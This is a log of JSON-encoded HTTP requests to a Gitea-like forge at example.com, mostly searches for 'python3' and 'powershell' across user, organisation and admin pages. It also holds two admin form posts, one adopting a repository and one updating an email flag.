{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 52", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=python3&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 97", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=python3&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
